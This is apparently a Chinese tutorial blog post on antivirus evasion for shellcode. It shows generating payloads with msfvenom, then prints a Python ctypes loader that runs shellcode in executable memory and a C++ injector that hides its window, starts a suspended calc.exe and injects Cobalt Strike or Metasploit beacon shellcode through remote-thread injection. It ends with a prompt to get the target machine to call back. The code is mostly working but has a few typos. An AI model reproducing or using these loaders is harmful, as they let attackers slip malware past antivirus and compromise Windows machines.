shellcode
前言
免杀技术又叫反查杀技术,意为免于被杀毒软件查杀。免杀技术中包含很多内容,如汇编、逆向、系统漏洞等。主要思路是通过修改木马及病毒的特征,包括代码特征、行为特征,从而躲避杀毒软件的查杀
生成shellcode
1、shellcode是利用软件漏洞获得目标机器shell,为十六进制的机器码,它是在漏洞利用过程中不可或缺的部分。shellcode常用机器语言编写,可在寄存器eip溢出后,载入一段让CPU执行的shellcode机器码,让计算机可以执行任意指令,但是在网上存在的shellcode并不通用,需要选择合适的shellcode,所以可以选择去漏洞库中寻找合适的shellcode,如exploit-db漏洞库,还可以通过软件获取shellcode,如msf中的msfvenom模块,输入msfvenom -l 即可查看所有的payload信息
2、在此我们进行尝试,生成一个名可以打开目标机器的计算器(calc.exe)的python脚本。
选择windows/x64/exec模块,键入-f选项指定生成脚本为python脚本的shellcode,可以看到16进制的编码
1、内存加载shellcode
以上生成了一个目标机器的计算器(calc.exe)的python的shellcode
1.1、导入sys和ctypes模块,给程序分配内存后执行读写操作
from ctypes import *
from ctypes.wintypes import *
import sys
PAGE_EXECUTE_READWRITE = 0x00000040 # 区域可执行代码,可读可写
MEM_COMMIT = 0X3000 #分配内存
PROCESS_ALL_ACCESS = ( 0X000F0000 | 0X00100000 | 0xFFF ) #给予进程所有权限
2、调用Windows api,以便后续进行调用,Windows中有很多内置的API,在执行shellcode的时候需要调用相关的API函数,在免杀过程中,许多杀软会监控Windows的API,调用一些底层函数,或者少见的API函数,就可以杀软的API检测
#调用Windows api
VirtualAlloc = windll.kernel32.VirtualAlloc
RtlMoveMemory = windll.kernel32.RtlMoveMemory
CreateThread = windll.kernel32.CreateThread
WaitForSingleObject = windll.kernel32.WaitForSingleObject
OpenProcess = windll.kernel32.OpenProcess
VirtualAllocEx = windll.kernel32.VirtualAllocEx
WriteProcessMemory = windll.kenel32.WriteProcessMemory
CreateRemoteThread = windll.kernel32.CreateRemoteThread
3、将前面生成的shellcode赋值给shellcode函数,赋值前使用bytearray函数处理:
4、创建一个方法调用,申请内存,将shellcode指向分配的内存指针,再复制shellcode到内存中,创建线程事件并执行:
#创建一个方法并调用
def run1():
VirtualAlloc.restype = ctypes.c_void_p #重载函数返回类型为void
p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE) #申请内存
buf = (c_char * len(shellcode)).from_buffer(shellcode) #将shellcode指向指针
RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode))) #复制shellcode到申请的内存中
h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程
WaitForSingleObject(c_int(h),c_int(-1)) #检测线程
if _name_ == "_main_":
run1()
5、运行后成功弹出计算器
2、生成64位ShellCode代码命令
将上述生成的shellcode放入以下代码中
示例代码:
#include "stdafx.h"
#include <Windows.h>
#include<stdio.h>
#include "iostream"
//隐藏运行程序时的cmd窗口
#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
using namespace std;
//使用CS或msf生成的C语言格式的上线shellcode
unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2...........";
BOOL injection()
{
wchar_t Cappname[MAX_PATH] = { 0 };
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID lpMalwareBaseAddr;
LPVOID lpnewVictimBaseAddr;
HANDLE hThread;
DWORD dwExitCode;
BOOL bRet = FALSE;
//把基地址设置为自己shellcode数组的起始地址
lpMalwareBaseAddr = shellcode;
//获取系统路径,拼接字符串找到calc.exe的路径
GetSystemDirectory(Cappname, MAX_PATH);
_tcscat(Cappname, L"\\calc.exe");
//打印注入提示
// printf("被注入的程序名:%S\r\n", Cappname);
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
//创建calc.exe进程
if (CreateProcess(Cappname, NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED//CREATE_SUSPENDED新进程的主线程会以暂停的状态被创建,直到调用ResumeThread函数被调用时才运行。
, NULL, NULL, &si, &pi) == 0)
{
return bRet;
}
//在
lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
, NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (lpnewVictimBaseAddr == NULL)
{
return bRet;
}
//远程线程注入过程
WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
(LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);
hThread = CreateRemoteThread(pi.hProcess, 0, 0,
(LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);
WaitForSingleObject(pi.hThread, INFINITE);
GetExitCodeProcess(pi.hProcess, &dwExitCode);
TerminateProcess(pi.hProcess, 0);
return bRet;
}
void help(char* proc)
{
// printf("%s:创建进程并将shellcode写入进程内存\r\n", proc);
}
int main(int argc, char* argv[])
{
help(argv[0]);
injection();
}
编译后,在靶机上尝试上线
ps:文章中若存在错误,烦请指出更改